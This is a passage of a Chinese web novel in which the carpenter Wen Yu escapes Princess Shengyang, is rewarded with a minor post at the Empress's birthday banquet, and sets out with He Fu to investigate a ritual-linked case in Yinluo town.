仔细一看,这盒子本身就是一个机关,虽然复杂了些但好在她儿时曾见过叫自己打棺材的那位老伯制作这种东西,既知其做法,那解开它也不过是小菜一碟。
果然,没用多久温余就打开了盒子,里面也和她猜想的一样,是些复杂的木制机关。
她叹了口气,开始一个一个破解。
不过一炷香时间,那盒子里的机关便被她尽数破解,她端着盒子走到门前,对外面道:“我解完了,该放我出去了!”
门外无声,温余就又拍了拍门。过了一会儿她才听到一阵急促有力的脚步声,下一刻门便被从外推开了。
是圣阳。她已经换了衣裳,那身暗紫的袍子已经换成了一件月色锦衫。
她将盒子夺过,只看了一眼便停住了。
“你……”竟然这么快?
“我能走了?”温余道。
圣阳将盒子递给身边的小厮,道:“本宫同你做个交易如何?”
温余不明所以:“什么交易?”
“本宫命人去查了你的底细,你恨你的父亲,对吧?那你想不想给他些教训?”圣阳似是诱导。
温余往后退了退,“你想做什么?杀了他?”
“只要你想,我就帮你。代价是,你要离开这里,从此以后不要再出现在贺扶面前。”
圣阳笑了笑:“如何?”
温余只觉得这说辞极为熟悉,好似路边书肆里卖的话本,她摇摇头:“不要。”
“那你想要什么?钱还是权?”圣阳继续诱导,谁知温余万分真诚坚定道:“都想要。”
“……”
“噗。”圣阳身后的小厮忽然笑出了声,但没圣阳一瞪又很快板起了脸。
“想得美。”
说罢,圣阳转身就走,临走前还吩咐那两位小厮看好温余。
温余惊道:“你不是说要放了我吗?说话不算数!”
但圣阳已然走远,完全没有在意温余的控诉。
温余又被关在了屋子里,她无奈的叹了口气。
还是得靠自己!
她先是在窗边看了一圈儿,这窗户都被关起来了,要是翻窗还得把窗户撬开。
于是,她开始在房间内寻找可以撬窗的工具。
但还未找到,就听屋外响起一声闷响,像是人倒在地上的声音。
温余谨慎地移到门后,心中忐忑:莫不是刺客?
门被打开,来人竟是方才笑出声的那位小厮。
他一眼便找到了躲在门边的温余。
温余如临大敌:“你……你是谁啊,别过来啊!”
那人带着笑,停在了离温余五步远的地方。随后他抬手撕开了脸上的面具,温余诧异道:“尚公子?你怎么在这儿?”
尚卿笑道:“因为你啊。”
“我?你是来救我的?不用麻烦了我一会儿就撬窗跑了。”温余十分诚实,连自己的计划都说了出来。
尚卿却道:“何必那么麻烦,我直接就可以带你走。”
“不必了。”温余还是拒绝,上次簪子的人情就够难还的了,这次可不敢再麻烦他一次。
“怎么,是想让我师兄来接你?”
温余一阵牙酸,怎么一个个的都围着贺扶?
“不是,我只是……”不想欠人情。
但话未说完,尚卿便箭步上前一把揽住温余就往外走,走到屋外正巧对上闻声赶来的圣阳。
圣阳面色不善,“尚卿?你来做什么?可别告诉我这你也要和贺扶争?”
听了圣阳带着诧异的话,温余只觉得她是把自己当成什么东西了,物件?想拿就拿?
尚卿勾起唇角:“他有的,我都要有。”
圣阳用脚踢起枪,准备和尚卿大战一场,但尚卿懒得动手,将温余揽紧了些后便飞身上了屋檐:“今日我没空,来日再说吧!”
最后,在圣阳的注视下尚卿带着温余越过墙檐消失在黑夜里。
“尚公
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子!”温余叫道,“多谢你救我,能否顺路将我送到工造司?”
“还没问呢,你去工造司做什么?”尚卿问,夜风吹起他鬓间的发丝,着实是一副好景象,但温余却来不及欣赏,那些桌凳的雕花还剩许多呢,怕是赶不过来了。
“我去雕花,要在皇后生辰小宴上用的。”
“哦?”尚卿笑道,“没想到他这么看重你啊,连皇后寿诞宴席都敢交给你,看来我没截错啊!”
温余从开始就像问了,尚卿为何总执着于贺贺扶比较,借此机会她也是问出了口。
尚卿却在听到这个问题后一愣,他急速落下,稳稳地站在地面上。
双脚碰到地面,温余心中的不安消去了不少。
身侧的尚卿似乎沉默了一会儿,“这种东西说不清楚。你不是要来工造司吗?去吧。”
温余抬头,赫然是工造司的大门。
“多谢尚公子,说着不欠你人情,竟还是欠了。”温余拱手道,“日后我定会还你的,有什么事情尽管找我。”
尚卿没有说话,只是摆摆手就转身离去了。
他心情好像不是很好?
温余觉得奇怪,但每个人都有自己的心事,旁人是问不得的,就算是问到了结果也很难有所共鸣,更何况她与尚卿相识不过几天,自然也没有资格去问。
她叹了口气,走进工造司。
那官员似是震惊,盯着温余看了半晌后才松了口气,“没事就好,没事就好。”
但被圣阳盯上,今日没事可不保证日后没事,那官员在心里给温余捏了把汗。
次日一早,温余从木头堆里醒来,看着面前杂乱无章的房间,脑袋还是晕乎乎的。
“温小姐。”是葛巾的声音。
温余惊喜站起,冲上前去揽住葛巾,亲昵道:“葛巾!你终于来了,有没有给我带什么吃的啊,我快饿死了!”
葛巾将手中的食盒在她眼前晃晃:“知道你饿,这不就给你拿来了?”
温余接过食盒,道:“我就知道你对我最好了!”
“好了好了,要谢就去谢贺大人,这可是他吩咐送来的。”葛巾道。
温余点点头,“好好好,你和贺大人我都要谢,多谢葛巾姐姐从如此远的地方给我带饭,我简直是感激涕零,痛哭流涕啊!”
葛巾摇摇头,“你啊,油嘴滑舌快些吃吧,活儿还多着呢。”
“好!吃饭咯!”温余笑得灿烂。
……
自葛巾来送饭那日之后,温余便手下加速,没日没夜的雕着花,本就有茧的手又被刻刀磨破了不少。
但又不能耽误之间,她每发现一个伤口也只是随意地用布包住,然后继续拿起刻刀。
刻完花,打了蜡,这次小宴上的桌凳也算是彻底完工了。
此时,就已经是皇后寿诞的前一天了。
温余回到贺扶一开始给自己安排的房间里,她还未曾睡过几次,大多都是在工造司直接睡下的,也睡不了多久便起身继续雕刻。
累了这么久,她几乎是沾床就睡。
迷迷糊糊间,她好像看到门被人打开了,一抹青色正向自己缓缓移动着,但她也懒得管了,反正也不能杀了她不是?
21. 皇后生辰(五)
贺扶一进门便见温余四仰八叉地躺在床上,外衣鞋子都没有脱下来,看来是一进门就睡下的。
贺扶无奈的勾起唇角,他看了看窗外有些刺眼的阳光,上前贴心地将窗帘拉住,好让阳光不要惊扰屋内人的好眠。
之后,他便向床边走去,帮温余脱下了鞋子后将她悬在半空的放回床上,最后帮她盖上了小毯子,作完一切,他才缓缓在床边坐好,但一坐定却又看到了温余还在渗血的手指。
包着手指的布也是些脏兮兮的粗布。
这样放着怕是会更严重的。
贺扶皱起了眉,起身准备去拿药,刚刚开门便见葛巾提了桶水走进院子。
见到贺扶,她行了一礼。
贺扶道:“温余手指伤到了,你先去太医院那些伤药。”
葛巾双目微睁,“我就说她这般没日没夜的会伤到自己吧。”
贺扶皱眉:“没日没夜?”
葛巾点头,“为了准备那些东西,她每日最多只睡两个时辰,此刻应该已经睡了吧?”
“已经睡了,你这水是拿来做什么的?”贺扶看着院中缸内的水,问道。
葛巾回道:“准备给她沐浴用的,在工造司带了这么久怕是带了铁水木屑味。”
“那便再加上些药浴的材料,记得提醒她沐浴时加上。”贺扶关切道。
葛巾点头,道了声是后便转身去了太医院。
贺扶则是回到屋内等待。
葛巾的动作很快,不过半个时辰就回来了。
她将药递给贺扶后又拿出一个多余的药包,她压低声音道:“葛巾知大人这些日子也是夜以继日的劳累,所以多为您拿了些补药。”
“我没事的。”为了不打扰温余睡觉,贺扶也压低了声音。
葛巾却是皱眉:“我看您和温余倒是相似。”
“哦?何处相似?”
葛巾无奈摊手:“一个两个的都不说苦,分明已经很累了还要装作无事。您眼下都有乌青了!”
贺扶下意识的摸了摸眼下,可乌青怎是用手摸出来的?他轻笑一声:“好了好了,你这些天也辛苦了,也早些去休息吧。”
打发走了葛巾,贺扶便动作轻柔地将温余手指上的粗布解开,纤细修长的手指上已是伤痕累累,贺扶不禁叹了口气,觉得心疼。
他将药缓缓涂抹在伤痕上,一边涂抹还一边用嘴轻轻吹着,生怕这凉药将她刺痛了。
涂好药,贺扶将绷带绑好,确认不会影响手指动作后才轻轻将她的手放回毯子里。
临走前,他还在床头放了几块糖果,希望温余一醒来就能看到。
吃些糖,心情也会好一些。
到了晚上,温余才被葛巾摇醒。
她揉揉眼睛,发现不知何时手上已经被缠上了绷带,她看着面前忙活着添水的葛巾道:“谢谢葛巾姐姐!”
葛巾试了试水温,转头道:“谢我做什么?”
“这绷带啊,不是你帮我处理的?”温余哒哒的走上前去。
葛巾按下温余在自己面前乱晃的手,“这是贺大人帮你包扎的。”
“诶,贺大人什么时候来的?我怎么不知道?”温余似乎许久没见到过贺扶了。
葛巾回答:“那时你还在呼呼大睡,当然不知道了。”解释后,她又催促道,“还不快点过来沐浴,一身铁水味难闻死了!”
温余还在欣赏这包得精细的绷带,听葛巾叫自己便立刻往浴桶处跑去。
“我自己来就好了。”温余正要脱衣服却见葛巾没有要走的意思,便揉揉鼻子道。
葛巾学着她的样子将她的手放在她面前晃了晃,“你确定?这样怎么洗?”
温余嘿嘿笑两声:“其实也没事的。”
“行了行了,快些脱衣服。这伤口可是万万不能沾水。”
又听葛巾催促,温余才慢吞吞地脱了衣服坐进浴桶里。
“我还是有些羞得慌。”温余将下半张脸藏在水中,咕嘟咕嘟冒着泡泡。
葛巾挽起袖子将她捞起来,“羞什么,我也是女子,有什么好羞的?”
温余还是有些不安,她还没被别人伺候着沐浴过呢!这感觉简直是……羞耻,非常羞耻!!!
“诶,这是什么?”温余忽然从浴桶里捞出一片叶子。
葛巾回答道:“这是药材,是贺大人特地吩咐的。”
“又是贺大人?”温余心中一动,隔了许久后又一次将脸藏了进去,葛巾一拍水面:“出来!”
温余怯怯地看了葛巾一眼,委屈道:“哦。”
翌日,韶光淑气,时和岁稔,前朝一片喜庆。威严的天子坐在高台之上,身侧是与他携手半生的妻子。皇后端庄贤淑,母仪天下,坐于天子身侧带着笑注视着殿中众人。
礼官高声道:“歌阳侯呈蜀锦绣衣一件,安成王呈新月汉白玉一对……”
章执身着朝服,缓步上前,身侧小厮将手中锦盒呈上,章执道:“臣自岭南寻到一方尚好的翠玉,命工匠打造成一副翠玉玲珑棋,每颗棋子都雕刻成动物与花卉的模样,今日向皇后呈上,愿皇后圣体安康。”
皇后带着得体地笑,点头道:“章卿费心了。”
章执之后来的便是贺扶了,启蛰跟在他身后手中端着一个极长的玉盒,贺扶拱手道:“臣知皇后巾帼不让须眉,无论刀剑枪器无不精通,故而臣斗胆在殿上为皇后呈名枪雁翎一杆,望皇后所愿皆得,万事皆胜。”
在看到启蛰自盒中拿出那杆枪时,皇后眸中亮了一亮,不住赞道:“贺卿知我意,这些日子操持宴席也是辛苦了,快快回席吧!”
……
寿宴如贺扶所料进行着,金器碰撞,觥筹交错,很快便到了晌午。
晌午过后,便是设在杏园的小宴了。
帝后换了身简单的服侍走在最前面,其余参加小宴的宾客皆跟在身后,亦步亦趋。
“来,皇后请。”走到位置上,皇帝转向皇后做出个请的动作。
皇后掩口笑道:“圣上这般举动怕不是要被旁人说成惧内了啊?”
“自然不会!”皇帝脑袋一晃,看向周遭众人,“既然是家宴,那大家可都是家人,这都是关上门的话,你们可都不许说出去啊!”
众人听后皆是相视一笑。
待帝后落座众人才一一落座。
“诶……”皇后忽得一声,皇帝立刻问道:“可是垫着了?”
此话一出,众人皆看向贺扶,只有尚卿握着酒杯看向了贺扶身后紧张的温余。
“不是,只是这椅子上的花纹看起来甚是新鲜,不知贺卿寻了哪方巧匠?”皇后看向贺扶眼中满是赞赏。
贺扶立刻上前,道:“这位巧匠就在此处。”
“哦?是哪位?”
贺扶唤来温余,温余也乖巧跪着,贺扶正声道:“正是这位温姑娘。”
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>皇后看着跪在贺扶身边的桃衣少女,颇为感兴趣,对她道:“这是你的巧思?你的巧手?”
温余恭敬道:“图纸为小女所画,至于雕刻还是请了工造司的各位巧匠相助,算不得小女一人的功劳。”
凉亭内,皇后低笑一声,似乎是对温余生了不少好感,她柔声道:“莫要低着头了,抬起头来让吾看看。”
温余听话抬头,对上了一双带着欣赏的眼。
“果真是个伶俐的丫头,贺卿还真是捡到宝了。”
“多谢皇后娘娘赞赏。”贺扶道。
皇帝看皇后开心,自然也是开心,他豪迈挥手,道:“好好好,你这丫头既哄得皇后开心,那朕也开心,想要什么赏赐,说罢!”
温余没想到当朝圣上竟如此豪放不羁,就连说话都是一派江湖侠士的模样,一时有些拿不准看向贺扶。
贺扶冲她点点头,示意她将想说的话说出来。
温余暗暗为自己打气后,小心翼翼地开口:“小女想……想做官。”
“做什么?”皇帝没有听清楚,“再说一遍,朕又不会吃人,大可说出来,除过什么讨皇位的,直接说便是!”
见温余没有离开应声,似乎还是有些迟疑,皇帝便睁大了眼睛,打趣道:“你不会真的想要皇权吧?”
“我没有我没有,我没有那个意思!”温余一惊背后起了一层冷汗,这话可说不得啊,这是要杀头的!
皇帝哈哈大笑几声,皇后掩口暗暗在他腰间一掐,悄声道:“你这般模样吓到人家了!”
皇帝收起笑,认真道:“好了好了朕不逗你了,说吧,想要什么?”
温余见圣上也并非不近人情,便壮起了胆子,道:“我想做官!”
“做官?”皇帝笑了几声,“这不好办,你不是跟着贺卿吗?朕就准你一个大理寺司务,活计也轻松,你这姑娘家的也合适。”
司务是大理寺品阶最低的官职,平时工作也只是送送要件端茶送水。
温余垂眸,谢道:“多谢陛下赏赐。”
皇帝点了点头,命两人会席落座。
小宴过半,皇帝突然问道:“怎的不见安成王?”
安成王,就是圣阳的父亲。
自宴席开始,圣阳的目光就一直在温余身上,好像要将她盯出个洞来一样。盯得温余都快要钻进地缝里了。
听到皇帝发问,她才移开目光,回答道:“我父亲腿脚受了伤,不便前来,还望陛下皇后见谅。”
“原来如此,那你可要叮嘱他好生养病。”皇帝关切道。
“是。”圣阳退下,又继续看回温余。
那目光说好也不好,说不好也没要剥皮抽筋的意思,看着温余莫名其妙的。
顶着这样的目光又过了一盏茶,温余终于是受不了了,见众人皆移步前往曲水流觞亭后她附在贺扶耳边道:“大人,我想去解手。”
贺扶面上一红,道:“去吧。”
离开了人群,温余总算是能喘口气了。
虽然这宴席顶着压力,但好在得了一好结果,虽然是小官,但只要一步步往上走就定能有所成就,那样既离成功更进一步了!
温余坐在一块石头上暗暗为自己打气。
一阵脚步声响起,温余回头一看顿时愣住。
圣阳她,怎么,追过来了?!
见她径直向自己走来,温余站起身,“你究竟要做什么?”
22. 皇后生辰(末)
圣阳没有回答她的问题而是反问道:“你雕花师父是谁?”
“啊?”温余懵了一瞬,“我的雕花师父是一家棺材铺里的老伯。”
“棺材铺里的老伯?在哪里?叫什么名字?”圣阳追问道。
温余吞了吞口水,不知道她想干什么,贸然告诉她消息可会给那老伯带来麻烦?那老伯年纪大了可经不起折腾。
她只好道:“圣阳郡主可是想学雕刻?其实这京城的师父要比那老伯好得多,况且那老伯远在扬州,来回路程远……”
没等温余说完,圣阳皱眉打断:“本宫当然知晓京城的工匠更巧,但本宫想要的不是登峰造极,而是赢过你!”
“赢过我?”温余一时没压住声音,“倒也不必吧,况且圣阳郡主你一手红缨枪耍得极好,比我好得多,我比不过不是?”
圣阳耐心用尽了,厉声道:“说!”
“扬州城安乐街糖水铺子旁边左数第三个小巷子后面的小铺子。”温余迅速道。
见圣阳要走,温余上前拦住她,“诶,你要去做什么?你不会是要去找麻烦吧?那老伯年过七十,你打赢了也不道德!”
圣阳站定,只见温余赔笑道:“你有事找我,就别麻烦他老人家了。”
“我是去学艺,然后堂堂正正的赢过你。”圣阳道。
“啊?学艺?”温余愣住了,刚刚她那气势汹汹的样子,不想是去学艺,倒像是去杀人的。
“那你走吧。”温余让开。
圣阳哼一声,撇开温余快步离去,似乎是不再会席上了。
温余长舒一口气,心想这宫中都是些什么人呐!
一个两个的都要和别人比,竞争感这么强的吗?
她回头准备往宾客那边走,但却又迎来一个不速之客。
她抬头,对上一双带着笑意的眸子,“尚公子?”
尚卿嗯一声,问道:“温姑娘可是刚刚见过圣阳?”
温余点头,“你在找她?”
“当然不是,她没找你麻烦吧?”尚卿似乎是在关心温余。
温余往后退了退保持距离,“没有,多谢尚公子关心。”
“不客气,如此你便又欠我一个人情了。”尚卿得意道。
温余觉得不对劲,“这也能算人情?”
尚卿信然道:“你不是喜欢用人情交朋友吗?”
“我不是这个意思。”温余解释道,“只是之前我们不熟,所以才觉得欠人情的,若是熟悉了,就像启蛰那样,我就不这样了。”
“那我们如今可算熟悉?”尚卿又问。
温余点头道:“当然算,尚公子多次相助,我当然感激。”
“那,你别跟在贺扶身边了,如何?”尚卿忽然凑近,将温余暗暗拉开的距离拉回来。
温余上半个身子都向后仰了过去,“这不妥吧。”
“有何不妥?”尚卿得寸进尺地凑近,鼻尖几乎要碰到温余。
温余想逃,但发现自己的腰不知何时被尚卿揽住,无法动弹。
“男女授受不亲。”温余将尚卿的脸推远了些。
“你们……在干什么啊!!?”启蛰的声音在两人耳边炸开,温余总算是松了口气,看向启蛰目光像是在看救星,但在看到启蛰身后冷然的贺扶是,她顿住了。
她趁着尚卿松懈挣扎出来,慌忙对贺扶解释道:“贺大人你别误会我们只是……只是……”
启蛰语气奇怪:“只是什么?搂搂抱抱?”
温余暗道启蛰添乱,心虚地看向贺扶:“我只是……交个朋友。”
“交朋友需要搂搂抱抱?枉我和大人如此担心你担心你半路被人掳走,没想到在这里……谈情说爱,还是和……”
见启蛰没有说下去,尚卿上前一步,“还是和谁?和本王谈情说爱是很丢人的事情吗?”
说罢,他又长长哦了一声,“也是,与京城之中最为受女眷欢迎的贺大人相比,本王是丢人了些。”
温余在心中叫苦,这都什么跟什么啊!?
“温小姐,我们准备回府了。”贺扶淡淡道。
温余想要挣脱开尚卿握着自己手臂的手,但怎么都挣脱不开。
“待你同渡凌交谈过,便早些回来吧。”贺扶语气平静。
“我不是……贺大人我和你们走!”温余甩着尚卿的手。
“那我们便先走了,告辞。”贺扶转身,“启蛰,跟上。”
启蛰啧啧两声后跟着贺扶离去。
看着两人逐渐远去的身影,温余终于挣脱开了尚卿的束缚,慌忙道了句抱歉后便追贺扶而去。
尚卿的手还悬在空中,脸上隐隐的笑意也在这一刻消失殆尽。
果然,无论是谁都更喜欢贺扶,都会为了贺扶放弃他。可是,凭什么?他到底哪里不如贺扶?贺扶又好在哪里?
他不懂,也不想懂。
直到他的脸色变得阴沉,杏树间才钻出一位小厮:“王爷,回府了。”
……
温余总算是在马车出发前赶上了车,他坐在车上,车内是贺扶和葛巾。
一片寂静中,温余看到了对面葛巾疑惑的目光。
她看看贺扶,又看看葛巾,小心开口:“贺大人,其实我和尚公子不是那样的,我也不知他为何突然拉住我,我不想和他凑那么近的,您生气了?”
温余心下疑惑,不应该啊?贺扶怎么会这么容易就生气?
贺扶轻轻舒了口气,道:“无事,只是……罢了。”
贺扶说了一半就不见的话,着实是让温余抓心挠肝,她继续道:“贺大人,您真生气了?”
贺扶看向温余,盯了半晌后似乎是败下阵来,“其实渡
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凌人很好,只是有时有些过激,但也是一位良人。”
温余一惊,这是都说上媒了?
“不是的,我不喜欢尚公子,我只是将他当朋友,你不要误会!”温余慌忙道。
葛巾受到了温余求助的眼神,沉默片刻后也开口道:“是啊,大人您莫要多想。”
又沉默了许久,贺扶才微微抬眼,问:“当真?”
“千真万确,我发誓!”温余伸出三根手指举过头顶。
……
又是一阵沉默过后,马车停了下来,看来是已经到绍王府了。
贺扶缓缓走下马车,忽然回头道:“既你知错,那便抄写三遍《晋礼》吧。”
“啊?抄书啊?”温余愣在原地,葛巾在她面前似是可惜的摇摇头,启蛰则是拍拍她的肩膀,嘲笑道:“活该!”
温余双腿发软,她不要抄书啊!!
—
抄书的时间过得格外缓慢,温余从早到晚待在玉茗堂里,睁眼是书,闭眼也是书,就连做梦都梦到许多字追着自己跑。
造孽啊……
温余手下抄书心中悲戚,想着启蛰怕不是要被笑死。
不出温余所料,一抬眼就见启蛰端着一盘水果推门进来。看她奋笔疾书的样子发出一阵笑。
“你来做什么?看笑话啊?”温余抬手沾了沾墨。
启蛰将水果放在一边后坐在温余对面,胳膊搭在书案上幸灾乐祸道:“叫你嘚瑟,活该!”
启蛰记仇得很,上次因为自己没能随贺扶进宫被温余嘲笑了一番,这此一定要狠狠地报复回来。
温余放下笔,作势要扬手打他,却又猛得一转叉起一块儿梨,送进嘴里,轻哼一声:“就嘚瑟,下次还嘚瑟。”
“好好抄你的书吧,我就先随大人外出查案咯。”启蛰放下挡着脸的手,谁知道这人会不会真的打下来?上次关心她被扇了一巴掌的事情,现在还记忆犹新。
“查案!”温余硬生生将口中的梨咽下去,道,“何时查案?查什么案?”
不行,查案这种事情怎么能不带她呢?她要去,她一定要去!
启蛰慢条斯理地理了理袖子,佯装一副可惜的样子,道:“温小姐就好好抄书吧,安心等我们回来就好。至于我们去查什么案子,与你无关!”
“你们何时走?”温余懒得和他斗嘴。
“今日申时,现在已经午时末了,来不及了。”启蛰起身端着果盘就走,温余叫住他,“喂,不是来给我送吃食的吗?怎么还要拿走啊,我才吃了一块!”
启蛰回头,嘴里还嚼着东西,“谁要给你送?若不是大人要去,我都懒得来看你,吃一块就够了,其他的我就拿走了。”
说罢,启蛰头也不回地离开了。温余愤愤看了片刻后低下头继续奋笔疾书,她非得赶在申时把这书抄完不可。
23. 活人祭案(起)
温余埋头抄写了好一阵儿,写完最后一个字后将笔往桌上随意一扔,站起身就要往外跑。看天色已经是申时过一刻了,希望贺扶他们不要走才是。
而且启蛰那家伙也没告诉自己他们要去哪里查案,只凭自己怕是也找不到地方。温余心中狂啸,脚下却不曾慢下半分,她从未发现自己能跑这么快,一口气跑到府门口后,她撑着门框往外看,只见一辆马车正静静停在那里,启蛰正抱剑倚在马车旁,百无聊赖地踢着脚下的小石子。
还好没走,温余不由庆幸
等她调整好呼吸走到马车前便见启蛰抬眼看了她一眼后将车凳用脚一踢,示意她上去。
怕是他不想等,想着单和贺大人两个人走,没想到贺大人却要带着自己。温余暗笑几声后不疾不徐地提起裙摆,缓缓上了马车。
启蛰见温余上了车,不情不愿地坐上车扯过缰绳,一甩鞭,马车便缓缓前行。
“贺大人,我把书都抄完了。”温余说得骄傲,毕竟能在这么短的时间里抄完这一篇确实是费了大力气的,“你不会还在生气吧?”
贺扶也轻笑摇头,“我未曾生气。”
温余道:“那你那日还……”
话说一半温余住了嘴,贺扶心里也觉得奇怪。不知为何那日忽的就生出了些小情绪,像是猫爪一般挠着他的心。
于是他就有了之后的做法,至于罚温余抄书,他倒觉得没罚错。
男女授受不亲,是该罚……该罚?好像他也和温余有过那般亲近的时候,那他岂不是……
贺扶轻咳一声,扯开话题:“此次出现怕是会有危险,你可要小心些。”
“我不怕,方才跑来时葛巾送了我一把匕首,就是有些重,我可以拿来防身!”温余将那花花绿绿的匕首在贺扶眼前晃了一圈后又道:“哦,对了,我们这是要去哪儿?查什么案子?”
“其实也并非是查案,只是为了追查剑兰花纹的组织。”贺扶解释道,“五年前的银罗镇中曾发生一桩新娘消失的案子,经过官府查办发现犯案之人便是剑兰花纹组织的一员,不过当时未能顺藤摸瓜查到最后,只是草草将那人处决,我们此次前去便是要去寻找些蛛丝马迹,不过五年,应当还是有线索的。”
温余点点头,“原来如此,那我们这次就是要去银罗镇咯?”
贺扶见温余面上带了些了然,似乎是知晓那镇子,便问她道:“嗯,怎么,温小姐对那地方有所了解?”
“有一些,那镇子四面环山,行路不便,所以不够富裕,其中百姓都是祖祖辈辈靠着种田为生,这本也没什么值得注意的,不过这镇子出名的缘由却是一个习俗。”温余凑近卖了个关子,“贺大人不妨猜猜是什么习俗?”
贺扶见她这一脸神秘的样子,觉得她若是不跟着自己查案去当个说书人也是个好营生。他摇了摇头,道:“贺某不知,还望温小姐解惑。”
好一个不耻下问的有礼儒生啊!温余不禁感叹。清了清嗓子后对他道:“这习俗叫栓娃娃,也叫弄化生。”
“在泥人身上栓线,象征得子,是从西域传来的一种求子巫术。”
没想到贺扶还知道这个,温余有些诧异,而贺扶也是看出来温余的惊讶,笑着解释道:“年少时喜好看些奇奇怪怪的书,这是在书中看到的。”
温余恍然大悟,这贺大人涉猎颇多啊!感叹之余她继续说道:“不过这银罗镇的习俗却是改过的,寻常巫术是将栓了线的泥娃娃放在水中浸泡,但银罗镇的人却是将栓了线的泥娃娃挂在门口,象征求子迎子。他们每年四月中还会祭祀,据说也是为了求子。”
虽然贺扶不相信神鬼之说,但对于这些虚幻的东西,他觉得只要不害人性命也不需过多管束。毕竟人生在世总是要有些依凭的,能抚慰人心那也是件好事。
“不过,”贺扶还是有些好奇,“温小姐是从何而知的?”
温余笑几声,道:“听说的,往常街头总有些传说异闻秘辛之类的。”
其实不然,她知晓这些完全是因为自己接过银罗镇的活计,什么剪纸祭祀啦,她给钱就干,更别说他们给的报酬十分丰厚,是被官府查到就要吃几年牢饭的那种,她当然不敢直接告诉贺扶了!
贺扶看温余神态微变,但也念在这是个人私事,自然也没多问,只是挑起车帘看着窗外逐渐后退的树木,道:“既然祭祀在四月中,我们此次前去许是还能赶上。”
——
来到银罗镇已经是第三天一早了。
按照贺扶预料本该在前一天晚上就能赶到,却没想到这地方四面环山是当真难走,兜兜转转绕了好些圈都没能找到镇子门口,最后还是启蛰飞身往上,登高远望才找到了路。
一到门口便见街上熙熙攘攘,摩肩接踵。不过都十分默契的在街道中央留下了一条通畅的道路来。
温余将手放在眼上,远远眺望只见一个巨大的猪头正被人举得极高,这应当就是祭祀游行的队伍了。
“诶,那猪头好眼熟!”启蛰也学着温余的样子向前眺望,忽的大叫一声。
“眼熟?”贺扶疑惑看向他,猪不都长得一样吗?竟还能看出眼不眼熟?
温余只觉得眼皮跳得厉害,感觉下一刻启蛰就能说出什么让她怒发冲冠的话来。果然不出她所料,只见启蛰露出个奸笑来,道:“长得和温小姐好生相似,我竟一时都分辨不出来!”
“……”温余沉默,放在身侧的左手却缓缓捏起拳。
见启蛰笑得开心,她正要一拳上去却被贺扶半路伸手握住,他看向启蛰道:“下次再胡闹,这个月的月俸再减半。”
启蛰顿时止住了笑,原本他只当贺扶是玩笑话,但他上个月的月俸当真缩了水,他上上个月末在工造司订的剑鞘还未补上钱呢!
“哈哈哈,活该!”温余见启蛰吃瘪,大笑几声后朝他做了个鬼脸。
“好了好了,我们快些进去吧。”贺扶无奈道,对于这俩人的嘻笑打闹他向来是哭笑不得的。
不过看镇子街道上的情况,这马车怕是行不进去了,只能步行上街。
三人走进镇子,但不知怎的贺扶总觉得有些奇怪,温余也觉得目光所及之处的人都在盯着自己,只有启蛰大大咧咧的四处张望,有收到街边嬢嬢扔过来的瓜果什么的还要冲她们笑一笑。
“喂,别吃!”温余见
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他张嘴就要吃,伸手将那东西打落,那应当是山间的野果子什么的,她没见过。
没见过的东西还能往嘴里送,没有一点戒备,他是怎么活到现在的?
被打了一把还掉了吃的,启蛰刚刚消下去的气又上来了,对着温余就道:“怎么?你羡慕啊?”
“谁羡慕你了!怎么死的都不知道!”
不知是不是因为这话说得太狠,还是惹怒了那些街边的嬢嬢,温余只觉得全场所有人的目光都落在了自己身上,她不由发怵,只能缓缓往贺扶背后移动。
贺扶也觉得这些人看向温余的目光过于奇怪了,怨恨,气愤,还有……晦气?
贺扶轻轻拍了拍温余紧紧揪住自己衣裳的手,柔声安抚道:“别怕,我们先找个地方休息一会儿。”
温余又往贺扶背后缩了缩,悄声道:“好,我感觉她们要杀了我!”
直到此刻,启蛰也才感受到了不对劲,因为那些嬢嬢看向自己的目光有些过于炽热了,感觉下一刻就能扑上来把自己咬一口似的,看得他心里发毛。
“我们快点走吧。”启蛰也开始四处寻找落脚的地方。
贺扶也在这过程中发现了第二个不对劲的地方,偌大的镇子竟然没有一家客栈!至于第一个不对的地方,是他在走来的这一路上竟没有见过一个男子,街上的,游行的,都是女子。
温余本也在寻找客栈,自己的裙摆却被人拉扯一下,她低头,对上一双亮得吓人的眼睛。
那是个看着不过十岁的男童,正用脏兮兮的小手扯着自己的裙摆,他道:“漂亮姐姐是在找可以住的地方吗?可以来我家住哦!”
男童天真的笑着,却让温余感到一丝违和,对于这个年纪的孩子这般笑倒也没什么,但是她总觉得面前这位笑得很假,像是硬生生挤出来的一般。
“怎么了?”贺扶也闻声转头,看到那个男童后轻轻笑了一声,问道,“这位小公子,这个镇子是没有客栈吗?”
男童摇摇头,用稚嫩的声音道:“没有哦,我们这里很少有外人来的,哥哥姐姐要住宿可以来我家哦!”
贺扶也觉得奇怪,与温余对视一眼后道:“好,那便劳烦小公子带路了。”
当下没有地方可去,那些人的目光又太过奇怪,只能先找个地方安稳待一会儿,至少将这祭祀避过去再做打算,若是这孩子当真有问题那还有启蛰在,也不至于会出什么事。
三人跟着那孩子一路往前走,穿过了几条曲折的小巷子最后来到一扇破旧的木门前。
在来的路上,温余也向他打听了些消息。
这孩子姓彭,是镇子里的大姓,叫彭昭。是家中的老二,其上还有一个姐姐。
刚刚是祭祀游行的队伍,明天就是祭祀的最后一天,只要将那猪头与猪身子缝好,丢进河里后就能求来子嗣。
“没想到还有这一出。”温余坐在木凳子上,四下观察着。
屋子里的摆设很简单,只有简单的桌凳和火炉之类的,与其他屋子也没有区别,唯一不同的就是屋前悬挂的那个泥娃娃,比寻常的要大得多。
这是多想要个子嗣啊!温余心中揶揄。
24. 活人祭案(一)
“这位小哥,来吃这个。”灰头土脸却堆着笑的妇人将一碗粟米饭端上桌,往启蛰面前推了推。
她是彭昭的母亲。
还没等温余阻拦,启蛰接过碗就将饭猛得往嘴里一塞,两颊被撑起,活像绍王府后院池中的那几只金鱼。
“你直接就吃了?”温余目瞪口呆,不知这人作为侍卫跟着贺扶这么久究竟学了些什么。
启蛰嘴里含着饭,口齿不清:“不然呢?我饿了。”
启蛰说得理直气壮,路上绕了那么久,他可还没吃饭呢!刚刚好不容易接到个果子还被温余拍掉了,他现在早已饿得前胸贴后背,不吃难道还要作一通法事,感谢上天再吃啊?
“诶诶诶——”
启蛰说话的功夫,贺扶伸手从他手里把碗拿过去,放在面前闻了闻。
没什么问题就是普通的粟米饭。
贺扶将碗还给启蛰,“应当没什么问题。”
“我就说吧,之前没见你戒备心这么重啊!”启蛰又塞了口饭。
温余撑着头,有些闷闷不乐道:“因为我总觉得这里很奇怪,她们看人的眼神着实吓人。”
